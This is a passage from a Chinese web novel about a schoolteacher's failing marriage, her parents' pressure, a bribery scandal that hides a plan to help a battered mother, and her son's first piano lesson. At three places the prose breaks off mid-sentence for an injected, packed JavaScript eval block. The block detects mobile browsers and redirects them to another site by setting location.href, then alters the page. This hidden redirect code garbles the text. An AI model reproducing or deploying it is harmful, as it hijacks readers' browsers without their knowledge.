李爸爸失望地看着她,缓缓道:“你知不知当初我为什么给你起名叫知难?就是希望你能遇事知难而退,不要掂不清自己的斤两!你现在长大了,有本事了,我管不了你了,好,那你也不要叫我这个爸!” 李知难无奈道:“我是不是怎么做你们都不满意?我前半生一直按照你们的规划走,北大毕业,编制老师,早早结婚生子,买车买房,这不是你们想要我走的路吗?我做了这么多,难道这些都不能让你们满意吗?” “那为什么不能继续走呢?”李妈妈道,“这不是走得很好吗?” “是宋乐出轨了,我又没做错事情,我有什么办法?”李知难反问。 李爸爸厉声道:“留不住自己老公,你有什么办法?你哭着喊着也得给我把姑爷留住!我丢不起这张老脸!” 李知难道:“那我的尊严呢?” 李爸爸李妈妈都没有回答,但是这沉默也似乎说明了一切。 李知难艰难地起身,她只感觉到无力,巨大的无力,吃多少香蕉都补充不过来的那种。“我今天就是来通知你们一声,以后有事直接找我,不要再找宋乐了,他也不会再来咱们家了。” 李知难转身离开了父母家,只留两个老人面对着一桌食物唉声叹气。 才出楼道,她的手机突然响了一下。“滴滴”两声,在深秋的夜里异常响亮。是李北辰发来的微信,他问她:孩子们音乐剧中秋演出的demo出来了,要听听吗? 李知难站在单元楼门口,看着那条占尽了天时地利人和的信息,不自觉地回了:好。 对面突然亮起了光。 单元楼一字排开,在每单元的门口立着感应灯,人过的时候,灯才会亮起来。李北辰站在楼宇的边缘,沿着那条不宽不窄的人行道,步伐稳健地向她一步步走来。 单元楼的感应灯一盏一盏地亮起来,他与她的距离一步一步地靠近。 “你没走?”李知难感觉到一股寒气,他的嘴唇微微泛白。秋天的北京在白日和夜晚时总是两幅面孔,他穿得单薄,这样在路边站着,不冷才怪。 他没回答,反问道:“你冷不冷?” 李知难点头。 “要喝点酒暖暖身子吗?”他像是长了张属于她的嘴,把她心里的话都说了出来。 酒过三巡,李知难话多了起来,出声埋怨道:“是不是做人子女,是一生都要背负的债?” “可能是吧。”李北辰淡淡地回答。 她意识到自己问题的不妥,道:“对不起啊,知道你爸爸刚去世,还在你面前抱怨。” 李北辰表情有些阴暗,道:“我知道可能有人会说,哪怕是跟他吵,我也想要他活着。但事实是,知道以后他再也不会对我的人生指手画脚了,倒是让这件事有了好的一面。” 李知难瞪大了眼睛:“这么大逆不道的话你也敢说?” 李北辰道:“为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529047|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么不敢?他对我永远都不满意。” “我爸也是。不对,他对我之前还是很满意的,每一次我不按照他的想法走时,他才会不满意。”李知难道。 李北辰给她倒了杯酒,又道:“我知道电视剧里经常会演,大结局的时候,父子终于消除了隔阂,拥抱在一起重归于好。现实不是,现实根本没有大结局,人也得不到最后的圆满救赎。我爸,一生都在我爷爷的熏陶下,成为一个永远向前赶的人,他追不上我爷爷,活在我爷爷的阴影下,于是他就希望我能够超过我爷爷,帮他完成心愿。但是不巧,我连他都超不过,我是个成绩中等的学生,我有时候觉得,他宁可我是我妈和别人生的,也不想承认自己生出了一个中等智商的孩子。” 李知难突然冒出一个念头:“要不……我带你去你爸坟前骂一顿去吧?” “李老师,这么大逆不道的话你也敢说?”李北辰嘴上这样说,却难掩眼底的雀跃。 “我还敢做呢。”她拉起了他的手。 深夜的墓地远不像是想象中的可怕,在幽暗的路灯下,一排排的墓碑像是别人的家,每个人都宁静祥和地在家里安然沉睡。 “说吧,”李知难道,“说给他听吧。” 李北辰看着墓碑上,慈眉善目的爸爸,道:“他从来都没用这种表情看过我,现在他死了,我能看到的,却永远是他这样的表情。” 李北辰在墓碑前坐了下来,说出的第一句话,反倒成了自我检讨:“爸,我不是个合格的儿子,您也不是个合格的父亲,我们永远都不能成为对方想要的那个人。我……” 他停顿了下来,没有再说出口。 李知难在他身旁坐了下来,道:“是不是真的来到他身边了,再说那些难听的话,就说不出口了?” 李北辰点头。 “李叔叔,”李知难对着墓碑道,“开家长会的时候,我们见过一次。您当年跟我说,希望我能够多帮助李北辰,让他好好学习,我那时候就告诉过您,李北辰的天赋不在学习上,但是这不代表他没有别的天赋,您那时候应该并不同意这个看法,只是局限身份,所以没有当面反驳我。现在您也反驳不了我了,首先,您没办法开口了。” 李北辰“噗嗤”一声笑了。 李知难拍了拍他,继续道:“最重要的是,我确实说对了。他现在是一个很优秀的年轻人,做着自己擅长的事,走着自己选择的人生,哪怕不是教授院士,也依然有自己的价值。您活着的时候,也许已经知道了,或者心里知道,嘴上不愿意承认,再或者,您就是看不到。但是无论是哪种情况,这些都不重要了。人活在世,总想要获得世界的肯定,那么第一份也是最重要的一份,就是来自父母的。但是我活了这么多年也明白过来,其实最后一份和最难得的一份,才是来自父母的。说到底,每个父母都对孩子有自己的期待,因为那个小小的生命是自己的延伸,是自己离开这个世界后唯一能够证明自己存在过的证据,也是因为如此,才希望这个延续能够以最优异的方式展现在世界面前,才不枉自己活了这一生。但是人的一生,终归是自己的。您的一生,我无权置喙,就算是世界,也无权置喙,唯独您自己,才能有一个评判。李北辰也是,他的一生,只有他自己,才能评判。” 李北辰红着眼睛,轻声道:“我不后悔我自己的选择。” 李知难看着他,答道:“你也没什么可后悔的。” “我也不需要您的肯定了,”李北辰看着墓碑道,眼泪再次含在眼眶中,他轻声道:“我是我自己。” 李知难轻轻地拍着他的后背,没再言语。 李北辰的眼泪顺着脸颊滴落,“我不需要他的肯定了,可是我还是希望他活着。” 他记忆中的那些争执和不愉快,都渐渐地沉在了时光的长河中。取而代之的,是更加微小琐碎的细节。他骑在爸爸的肩膀上,听他讲科技馆里的各种设施,分明是他不喜欢的东西,可因为有爸爸的陪伴,那些枯燥的理论也变得有趣。他过生日收到的礼物,以前想起时,总是那些不合心意的科学标本物理仪器,现在只剩下了烛光中爸爸为自己唱歌,把带有裱花的那块蛋糕切给自己。以及书架上那些堆满的书,那些他并不喜欢的科学课外读物,每一本扉页都印着来自爸爸周正而庄严的字体,写着他的名字,李北辰。 爱,只要存在,就一定会有痕迹,是人后知后觉,忽略掉了。 “我很想他。”他轻声道,委屈得像是个孩子。 “我知道。”李知难轻轻拍着他的后背。 “哪怕他就在我面前,我们也只会争吵。”李北辰道,“可我还是,很想他。” 李知难点头。 “我之前的话说错了,”李北辰道,“我确实宁可和他吵,也希望他还活着。” 秋意渐浓,秋风扫过的时候,卷起地上的残叶,穿过干枯的枝桠,发出低沉的呜咽声,像是理不清的哀鸣。 37. 她确实收了礼 李知难在周一早会上收到了市公开课优异的报告结果,孙书维甚至当着众人的面对她道:“评优妥了,你就等着荣誉和奖金吧。” 奚西和曲子格闹着要她请客吃饭,却碰到了前来科普教育的张蔷。 “小张警官来啦?”曲子格热情地打着招呼。 “什么事这么开心?”张蔷问道。 “李老师的评优要下来了,我们要她请客呢,到时候一起来啊?”曲子格邀请道。 “一定一定。”张蔷道,“恭喜啊,李老师。” “谢谢。” “有件事,要跟你说一下。”张蔷突然想到,“前两天有社区同志来我们这儿投诉,说学校后面公园里经常看到穿着咱们学校校服的学生在那边亲亲我我,有些举动还挺不雅观的,我一会儿去找孙老师说一说这个事,您看看有没有您班的,提前打个预防针啊!” 李知难想了想班里的学生,回道:“好的。” 曲子格耸肩评论道:“这种事我都屡见不鲜了,我们那个年代就有,防也防不住。” 张蔷答:“现在比以前更离谱。网络发达了,孩子们接触不良信息的路径又多种多样。就前两天,我们所有个初一的家长来报案,说女儿被男同学领到了男厕所里进行猥亵,厕所里没有摄像头,女孩又是自愿跟着进去的,里面究竟发生了什么根本说不清。” 李知难皱眉道:“女孩怎么说?” “女孩什么都不说,但是她家长态度很强势,说那个男生亲她的脸和屁股了,就是属于猥亵。”张蔷答。 “男孩不承认?” “嗯,男孩说没有,男孩的家长心理学都搬出来了,说在他这个年龄段孩子的认知里,屁股不属于□□官,属于拉屎的地方,根本不可能会去亲,说就是亲了下脸,被女方家长放大真相,无中生有。” “那最后结果怎么样?” “不了了之,没有证据我们也只能调节。”张蔷无奈摇头,“但是据我们了解,初中生现在就已经什么都知道了,我们在女孩和朋友的聊天记录里发现了关于勃,起长度、性玩具之类的讨论内容,别说女孩家长看了傻眼,我自己都不敢相信十一二岁的孩子们都已经知道这么多。” “好奇心就是这样的,大人越是遮掩着,她们就越好奇,”李知难评论道,“别说她们了,我小时候不知道月经是什么,记得电视上播放卫生巾的广告,总会含糊地说‘那几天’怎么怎么样,我不知道什么意思也听不清那几个字,最后导致别的广告看都不看,一到卫生巾广告就使劲凑过去听,好奇‘那几天’究竟是什么意思,这个广告又是什么意思。” 张蔷答:“现在的孩子可不会,网络上一搜,该知道的,不该知道的,正经科普和黄色信息,全都往他们脑子里灌。” 曲子格看了看外面的学生,无奈道:“我们的性知识教育,任重而道远啊。” 张蔷点了点头,指了指自己手上的文件夹,道:“我继续教育去了,先走了。” 待她离开后,奚西在一旁摇头叹道:“现在的孩子竟然这么胆儿大?” 曲子格亏她:“那也比不过咱们奚西老师啊!” 奚西没好气地一拳打过去,气急道:“你!” “说说,”曲子格八卦道,“跟副总怎么样了?” “不想理你。”奚西被她说得不好意思,转过头跑开。 看着奚西跑远,李知难教育道:“你别老这么没大没小地开玩笑。” “咱奚老师,说最胆小的话,做最胆大的事!”曲子格话锋一转:“那我跟你说个正事吧,我给你介绍个对象吧?家里特别有钱。” 李知难难以置信地看着她,仿佛她和自己并不在一个次元。 曲子格倒是敞亮,直白道:“人生苦短,你要抓紧时间,难道还为了宋乐守孝三年吗?” “你小点声,这事别人还不知道呢!”李知难忍不住去捂她的嘴。 “等你评优这事结束,你趁早告诉大家,”曲子格道,“听没听到?” “知道了。”李知难无奈答。 第二日,李知难还没到学校,就收到了孙书维的电话:“你到学校之后直接来我这吧。” 李知难心道,难道评优这么快就下来了? 待她走进办公室,才意识到情况不对。陈校长和几个负责的领导以及孙书维都在,她要不是立了救国救民的大功,那就是闯了弥天大祸。 “李知难老师,网上爆你收受学生家长贿赂。”领导率先开口道,“这事你怎么说?” “啥?”李知难不解。 孙书维在旁开口道:“邵冲妈妈给你送的。” 两个人交换了下眼神,李知难否认道:“就一盒月饼。” “还有别的吗?” “没了。”她否认道。 “人家那边证据确凿,连邵冲妈妈的付款记录都扒出来了,你仔细想清楚,”领导道,“我告诉你李老师,你现在的态度很重要。” 学校内,消息来源更加广泛的学生们也实时地传播了该则消息。 “听说李老师收了一辆车?” “我靠!邵冲妈妈这么大手笔?” 孙书维在一众领导撂下狠话离开后,认真地对李知难说道:“你必须找邵冲妈妈谈一谈。” 李知难仍然没有摸清头绪:“这事之前不是过去了吗?他妈妈说送了我一盒月饼,学校那边也备案了啊?怎么又被人翻出来了呢?” 孙书维认真道::“首先爆料的人能拿出付款记录,连行驶本照片都有,就说明这人肯定和邵冲家脱不了关系,会不会是邵冲自己做的?” 李知难果断地摇了摇头:“不可能,他不是这种孩子。” “知道这事的就咱们几个,邵冲妈妈不可能主动把这件事说出去。”孙书维分析道,“你现在是在明人家在暗,防不胜防。” 李知难想了想,反应过来:“是我评优这事得罪人了吧?” 孙书维看了看表单,拿出来道:“和你竞争的一共就两个人,你得罪过他们谁?” 李知难看了看,石老师,魏老师,都是平日里关系过得去的,没任何嫌隙,也只能摇头。 “那就说不通啊!”孙书维有些着急,“这些都说不通!我唯一能想到你最近开罪的人,就只有宋乐,会是他吗?” “他不会的,我们离婚的事还没说出去,我出事对他也不好。”李知难解释道。 “知难,找邵冲妈妈吧,让她解释吧。”孙书维提议道。 李知难立刻拒绝,“今年的评优我不要了,我不要了是不是就能解决这个件事?”她心底暗暗后悔,早知道就不该惦记这些,自己不贪心也不会多出这么多问题。 “现在不是评优的事,”孙书维答,“和之前在学校的小打小闹不一样,现在网上发酵很厉害,要是这事再发展下去,你下半辈子都别想进教育系统。” 两个人商讨了半天,也没有一个可行的主意。孙书维稍后有会,李知难只能先行离开,容后再议。 “你别找邵冲妈妈啊,我再想想办法。”李知难离开时叮嘱道。 但她前脚才走出办公室,后脚孙书维就给邵冲妈妈打去了电话。 “我希望您能帮帮她。”孙书维解释来龙去脉后,请求道。 “我真的帮不了。”邵妈妈那边果断挂掉了电话。 孙书维听着耳边的滴滴声,不由心内狠狠。她早早就提醒过李知难,不要万事都把自己搭进去,小心东郭先生和狼,谁成想还真的被她一语成谶。 放学回家后,邵冲书包都没放下,就急匆匆地跑去厨房,每天放学的时间段,妈妈都是在这里准备晚餐的。他焦急询问道:“妈,到底是怎么回事?” 邵妈妈专心地做着饭,若不是她拿锅铲的手微微抖着,甚至都看不出她知道任何内情:“什么怎么回事?” “您到底给李老师送了什么礼?”邵冲着急道,“一辆车?到底是不是真的!” 邵冲妈妈不肯直面回答,只道:“大人的事小孩别掺和。去洗手准备吃饭。” 她还没来得及再多交代,才一回头,发现邵冲飞奔着跑出了家,人已经没影了。 在小区外面等待的曲子格看着对面跑过来的男孩,着急上前询问道:“你妈怎么说?” “她含含糊糊的,”邵冲答,“我感觉可能是真的,要不然她为什么不说啊?” “有没有别的学生去过你家?”曲子格询问,总觉得这事的风格就像是哪个心中有气的学生伺机报复,加之这些孩子如果来到邵冲家,必然有可能拍下那些照片污蔑李知难:“那些单据应该是从你妈那里拿到的,这人肯定得去你家才能看见。” 邵冲想了半天,回道:“钱浩宇!” 曲子格带着他风风火火地赶去了钱浩宇家。钱浩宇认真道:“我为什么要陷害李老师?” “不是,我压根也不知道你妈给李老师送了一辆车啊!”钱浩宇抱怨道,“你妈也真是有本事,我爸摇号摇十年了都没摇下来,你妈一挥手就是一辆车!” 这话倒是提醒了曲子格,她对邵冲道:“你先回家,再想想还有有其他不对劲的,我有点事先走。” 曲子格又风风火火地去找了张蔷。张蔷无奈回应道:“我们和交管局不是一个系统,我也查不了。” “李老师也算是教过你对不对!”曲子格正色道,“一日为师,终身为父,你现在是警察,你需要帮她证明清白。” “曲老师,这事您和李老师本人谈过了吗?”张蔷问道。 “你什么意思?” “以我们的办案经验,一般这种事都是真的,很少存在什么阴谋。”张蔷坦诚道。 “不帮是吧?”曲子格道,“我看错你了张蔷。” 张蔷看着她的背影,无奈地拨通了李知难的电话,只听李知难在那边安慰道:“没事的,小张警官,我会想办法解决的。” 第二天早上曲子格的办公室内坐齐了三人,李知难,孙书维,曲子格,三堂会审。 “曲子格,你不能再捣乱了,”孙书维道,“昨天邵冲妈妈电话都打到了我这里,就差报警了,邵冲还是个孩子,你带上他干什么?” “他现在是关键人证。”曲子格道,“我必须要还知难清白!” “小格子,这事你别管了。”李知难道。这件事的内情曲子格并不知晓,她只是凭着对自己的了解,执拗地相信自己不会做这样的事情。 “不可能。”曲子格道,“我不可能不管你我告诉你,别人不知道你,我是知道的,你不可能收她的礼。一辆破车,看不起谁呢!” “她就是收了。”孙书维道。 “你胡说!” “我确实收了。”李知难点头。 “啊?”曲子格楞在了原地。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14539489|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是,为什么啊?”曲子格再左右看看两人,这才反应过来自己被瞒在鼓中,“你们俩到底瞒着我什么呢?” 高一上半学期,有一次皮皮半夜高烧,李知难带他去医院,偶然间看到了邵冲爸爸的名字挂在墙上。她开家长会时见过邵冲爸爸,只是没想到原来是如此盛名的大专家。那日皮皮烧得厉害,儿童医院专家号又难挂,负责看诊的医生们遇到了紧急病情,一股脑地冲去了急救室,她在医院等了三个多小时,眼睁睁看着皮皮像是个病恹恹的小猫一样,喊着疼。气急之下她豁出去了,也不管什么道德不道德,冲进了邵冲爸爸的办公室,想要托人情加个塞。 没料想一开门,正好看见邵冲爸爸在打他妈妈。 那是个夜深人静的午夜,医院里面却仍是熙熙攘攘。家长和孩子们在外面吵杂地哭闹着,埋怨着,等待着,没人会想到角落处高级的办公室里,一个弱小的女人被自己的丈夫一拳一拳地打在身上,一声不吭地挨着。 “以后有事直接联系小陈,不用挂号。”眼前的邵冲爸爸像是会变脸一般,和刚才那个怒不可遏的男人截然不同。他温柔认真地给皮皮检查,开了药又反复确认服药流程,走前还不忘仔细叮嘱:“小陈啊,加一个李老师联系方式,以后有事直接找我。” 邵冲爸爸的学生急忙凑上来,按照他说的话加了李知难。 看到李知难离开,他不放心地给邵妈妈使了个眼神。 “您,确定不报警吗?”李知难看着执意要送她回家的邵妈妈,也没有拒绝。皮皮已经睡了过去,回程路上,她忍不住试探询问。 邵冲妈妈很平静,回道:“我报了警,然后呢?邵冲爸爸要是蹲监狱,邵冲也毁了。” “他已经是高中生了,不可能没有察觉……” “我和他爸爸说过了,他不当着邵冲面,我不告诉别人。”邵妈妈把这件事说得理所当然。 李知难头一次遇到这种情况,完全不知道如何处理。她第二天便告知了孙书维,孙书维道:“我们无权干涉。” “可是于心不忍。”李知难想到昨日那场面,仍旧心里突突的。 “她不离开邵冲爸爸,是因为什么?他的钱还是他的地位?”孙书维问道。 “我觉得是因为孩子。”同样作为妈妈,李知难知道一个女人最大的弱点,只可能是自己的孩子。 “那她既然自己没有要脱离的意思,我们能做什么呢?”孙书维的话问倒了她。 没想到几周之后,被打得浑身伤痕的邵妈妈拨通了李知难的电话。 “我跟邵冲说,我去度假了。您帮我瞒住他。”邵妈妈和李知难交代道。 “我能做点什么吗?”李知难问。 邵冲妈妈道,“等到邵冲高中毕业,我们会送他去加拿大,都已经联系好了,到那个时候,我就可以脱离他爸爸了。” “那他爸爸知道吗?” “不知道,他只打算送邵冲去,没打算让我去。”邵妈妈答,“所以我偷偷攒了一笔钱,但是最近他起了疑心,我怕他发现,我不能把钱放在银行里了。李老师,我求求你,我能不能把钱放在你那里?” 李知难听了听那个数目,拒绝道:“这太多了,万一出了意外,我没办法赔得起。” 邵冲妈妈满脸是泪,恳求道:“我真的不知道怎么办了,你帮帮我。” 最后,两个女人想出的办法,便是找个地方把钱放在那里。恰好那年李知难刚刚摇下号,邵妈妈用李知难的名字买了辆车,那辆车就停在邵冲家楼下的车库里,算是邵冲妈妈给自己找的避风港。 “你们这是什么馊主意?”连曲子格都感觉到这计划的无语,“那车要是被偷了呢?钱要是被老鼠咬了呢?这么多钱她带出国算不算走私啊?你们怎么想的啊?” “我记得宋乐那时候跟我说,他们查贪腐的时候,有个领导就是这么干的,十几年都没被发现。”李知难答,“我那时候也没别的好主意。” 孙书维道:“我倒是觉得这就叫大隐隐于市,方法虽然朴实,但是确实有效。” 曲子格拍脑门一想,道:“那这事就好解决了,让邵冲妈妈说实话不就行了吗?” 李知难道:“她要是说了实话,那之前的打算不就全都扑空了吗?我是觉得,再有一年邵冲毕业了,我现在先收敛收敛,等到他毕业了,去了加拿大,再找邵冲妈妈帮我解释清楚,不就好了吗?” 孙书维道:“你想让她现在解释也没戏,我找过她了,人家不愿意帮你。” 李知难愣住了。她本以为这是自己最后最后的底牌,不到最后一刻不能拿出来用。可听完孙书维这话,才发现这底牌早就被人扔掉了,顿时心里颇有几分不是滋味。自己在这边还帮人家打算着未来,人家那边已经决定踩着她不理了。 “不对啊,”孙书维突然反应过来,“知道这件事的人都不可能把这件事说出去,那这件事被曝光,受益的人是谁?” “邵冲爸爸?”曲子格问。 “他冒着自己可能会声名扫地的危险,也要曝光李知难?”孙书维答,“他可不傻,不可能是他。” 曲子格点头道:“你说的对,这件事曝光,邵冲爸爸是会声名扫地的。” 三个人想了半天,也琢磨不出来到底谁会是这个始作俑者。 接下来,事情大有不顾他们死活地发酵趋势。待到第七天,李知难收到了停课通知。 38. 第一次钢琴课 周六是约定好的皮皮第一次钢琴课。李知难调整好了心情,尽量不让这件事对她的情绪产生过多影响,她看起来和平时没有区别,按照李北辰给的地址,带着皮皮来到了他家楼下。 “一会儿对……”她停顿了下,才道:“李老师,礼貌一点儿。” 皮皮点头,但表情显然是怀着自己的心思。 李知难:“你能不能继续踢足球,就全看你自己的表现了。” 皮皮撇嘴:“那得看弹钢琴好不好玩了。” “你没试过,怎么就知道不好玩?” “我没试过,怎么就能确定好玩?”皮皮回嘴道。 李知难被他逗笑,然后指了指周围,秋高气爽的日子里,云朵薄薄地飘着,树上的叶子斑驳成了红黄绿三种颜色,风吹过来的时候,片片飘落在已经堆满落叶的草地上。她问道:“你看,好看吗?” 皮皮点头。 “北京的秋天很短,但是是不是很美?” 皮皮应了声“嗯。” “美好的东西和快乐的事情很像,都是短暂的,”李知难意味深长道,“就跟我们的人生一样,短短一瞬。” 皮皮回道:“不是啊,踢球就很快乐,也不短。而且妈妈,我们老师都教过,人能活一百岁呢,才不短呢。” 李知难揉了揉他的头发,道:“因为你还小,所以快乐就很长。” “为什么啊?”皮皮瞪大了眼睛,理解不透这里面的关联,他也算是具备了初级逻辑思维,明白小和长并不是一个测量维度。 “皮皮,像今天这样的日子,你以后还会遇到很多,你的未来有很多秋天,”李知难也不知道他能不能听懂,也不管他能不能,她从来都是这样和皮皮交流的,她有她的思考,皮皮有自己的逻辑,有时会像是鸡同鸭讲,可小孩子的头脑很奇怪,总会在某个地方,两个人的思想又意外相逢,“但是今天这样的风景,只有今天,因为今天这个日子,你和我一起,出现在这个地方,天上飘的这几片云,树上掉的这几片叶子,就只有今天有。” 皮皮回应:“因为明天就是别的云,别的叶子了。” “对,”李知难点头,“明天也会是不一样的我,不一样的你。” “为什么啊?”云和叶子他懂,但是自己和妈妈,他又不太懂了。 “如果我们想留下这些云,这些叶子,这个你和我,那我们怎么留?”李知难问。 皮皮道:“我们为什么要留?” “因为这一个瞬间很美好啊,人遇到美好的事情,快乐的事情,就会想留下来。”李知难回答,“就像是你留下比赛的奖杯一样。” 皮皮似懂非懂地思索,缓缓道:“记在脑子里?” “记在脑子里会忘啊,”李知难摇头,“所以才会有文字,有音乐,有影像,来帮你记录这些。” 皮皮不理解。 “就像是你开心的时候,就会笑,伤心的时候,就会哭,那当你想记录你的哭哭笑笑,你可以写下来,可以录视频记下来,或者,你可以弹钢琴,表达出来。”李知难说道,“妈妈想让你学钢琴,其实也是想让你学会另一种语言,能够在你不知道和谁诉说心情的时候,也有能对自己说的办法。” “我不能用嘴巴说吗?”皮皮反问。 李知难笑道:“当然能。但是长大了之后,好多话你可能就不愿意说了。” “为什么我不愿意?”皮皮问。 “你长大了自己告诉我吧?”李知难看着他,自言自语喃喃道:“我也希望你永远找不到这个问题的答案啊。” 皮皮牵着妈妈的手一路前行,上楼的时候才有些藏不住自己的紧张:“要是我不喜欢钢琴,或者我就是弹不好钢琴,妈妈你会生我气吗?” “不会。”李知难道。 “那我是不是就没法记录美好的事了?”他又问。 “哪能呢,”李知难不以为意道,“就算你自己忘了这件事,可是你的眼睛,耳朵,鼻子,舌头,皮肤,你的五感,它们会穿透你的大脑,帮你把之前的回忆提取出来。美好的事物就是这样,你不用刻意记,你的身体也会帮你把他们记录下来。” 皮皮道:“那我为什么还要学钢琴啊?” 李知难点了点他的脑门,无奈地笑了。她们来到了李北辰家门口,李知难清了清嗓子,整了整衣服,才摁下了李北辰的门铃。 “你们好。”李北辰笑意盈盈地开了门。 “李老师好——”皮皮在学校里学会了这种标准拉长声打招呼方式,对着李北辰认认真真地问候。 “皮皮同学好。”李北辰蹲了下来,然后对着他伸出了手。 皮皮笑得露出八颗牙齿,煞有其事地握了握。 李知难带着皮皮进了屋。 李北辰看着皮皮的小脑袋像是开了雷达扫描功能一般,在自己家里盯来望去,提议道:“你要参观一下吗?” “可以吗?”他问,然后眼睛看向了李知难。 “当然可以。”李北辰答,李知难也点了点头。 皮皮那样自然地松开了李知难的手,牵起了李北辰的,然后跟着他在屋子里左左右右逛了起来。 “李老师,你的冰箱为什么有个窟窿?”皮皮好奇问。 李北辰挑眉,回道:“这是个神奇的地方,有魔法的,你要不要试一试?” 皮皮狂点头。 李北辰顺势将他抱了起来,胳膊有些泄力,显然没想到这个看起来瘦瘦高高的小孩竟然这么有分量,他又调整了一下才将他抱稳。皮皮按照他的指挥摁下了按钮,然后格子里咯噔咯噔地掉下来几块冰块儿。 “神奇吗?”李北辰表情得意,想听他夸奖。 “嗨,”皮皮失望地摇了摇头,“不就是制冰机吗?” 李北辰将他放了下来,有些自嘲地摇了摇头。他顺手拾了一块儿冰,放到嘴里正好败败火。没成想这个举动倒是让皮皮异常兴奋,他像是个讨好的小狗,眼睛眨巴眨巴地看着他。 “想……吃?”他问。 “嗯。”皮皮点头。 “你能吃吗?”他眼神瞟了瞟外面。 “能。”皮皮回答得大包大揽。 李北辰刚想开口询问外面的李知难,却听皮皮小声道:“您不告诉我妈妈我就能。” 李北辰想了想,最终还是挑了块最小的,快速递到了他嘴里。 “李老师,”他鼓着嘴,“别告诉我妈妈。” “你也别告诉她。”李北辰同样叮嘱,他甚至觉得,自己可能比皮皮更怕李知难知道。 皮皮笑了,两个人顿生同盟之间的默契。 “皮皮,一会儿上课,你希望妈妈在,还是不在?”李北辰小声询问。 “不在。”皮皮想也没想就回答。 两个人再次交换了眼神,李北辰领着他出来,对坐在沙发上的李知难道:“李老师,一个小时之后您来接他?” 李知难:“啊?” “是这样,”李北辰清了清嗓子,“我上课有个习惯,不喜欢被家长监督。” 李知难立刻摇头,道:“我没有别的意思,但是我不能把孩子单独……” 她话还没说完,李北辰给她使了个眼神,两个人向门口靠近些,李北辰低声道:“手机能不能借我一下?” 李知难将手机递了过去。 他在她手机上鼓捣了半天,然后把手机还了回去。手机屏幕上出现的,正好是李北辰家客厅的画面。 “你随时可以看,”他道,“那个按钮点开,就能听到声音。” 李知难一时间不知道该说些什么。 “相信我。”李北辰认真地看着她,“皮皮会喜欢钢琴的。” 李知难回到了车里,迫切地打开了手机。手机屏幕上,李北辰正在弹着钢琴,皮皮在地上各种翻滚打闹。他一会儿蹑手蹑脚地像是个小偷,一会儿蹦蹦跳跳得像是个神棍,李知难皱着眉头,不知道李北辰给孩子吃了什么怪药,她打开了声音,才听到是因为钢琴音乐的变化,皮皮才会有不同的动作。 李北辰此时弹起了有些奇异的音乐,皮皮先是想了想,然后跟着节奏一步一步往前跳,配合着夸张的肢体动作,越做越好笑,最后自己笑得直不起腰。 李知难皱着的眉头,慢慢舒解开了。 李北辰准备了不少道具,他拿着节拍器,和皮皮一起变成人体节拍器来回摇头,最后皮皮晕头转向地认输;他还有方小鼓,他上下左右地摆,让皮皮换着法儿的敲,只是整整一节课,皮皮仍然没有摸钢琴一下。 课程结束,李知难看到屏幕上李北辰的脸,正在直视着自己,手上做了个“来”的动作。 李知难再次回到了他家门口。 “李老师再见——”皮皮笑着和他告别。 “皮皮同学辛苦了。”他半跪在地上,仍旧是正经地伸出手,和皮皮告别。 回程的路上,李知难看着皮皮意犹未尽地和她分享刚才课上的一切,什么李老师太好玩儿了,什么我都晕头转向了,小嘴巴一路不停,生怕漏掉刚才的任何细节。 “妈妈,以后都能上李老师的课吗?”皮皮期待问道。 李知难:“啊?啊,嗯。” 下午是足球队训练,她将皮皮送到了学校便在一旁找了块阴凉地,坐了下来。 李北辰的信息此时也传了过来:我怎么样? 李知难犹豫着不知道怎么回。 他又发来一条:你打开监控。 李知难犹豫着,最终还是打开了那个被他提前设置好的页面。 画面中,李北辰指着手里的塑料水壶,和她说着什么。她这才意识到,自己没开声音,急忙摁下按钮后,只听他问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544381|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“是不是皮皮的?” 李知难才想回应,又意识到这不是视频,正准备切换软件去回信息,只听他又道:“你摁住那个小话筒,我就能听到你说话了。” 李知难听话地摁住了,回道:“对,是皮皮的。我刚才忘了。” “我给你送过去?”他说。 “不用了,一会儿我去拿吧。”李知难答。 “那皮皮呢?” “他……晚上要和爷爷奶奶吃饭。” 约莫八点钟左右,李知难摁响了李北辰的门铃。 他打开门,邀请道:“进来说吧?” “没事,我拿一下水壶就走了,我……” 李北辰并不接她的话茬,道:“我在做月饼,尝尝?” 李知难以为自己听错了,莫名其妙地就跟着他进了屋。 他的厨房内正是一片狼籍,旁边屏幕上还播放着做月饼的教学视频,他忙活的成果,是几个看着不宜食用的面团子。 “我还是不尝了吧。”李知难有些后悔,急忙拒绝。 李北辰从橱柜中拿出一盒未开封的礼盒,然后指了指说:“我做的是那个,我请你尝的是这个。” 李知难看着上面的牌子,恰好是自己喜欢的。 “中秋……不是已经过了吗?”李知难问。 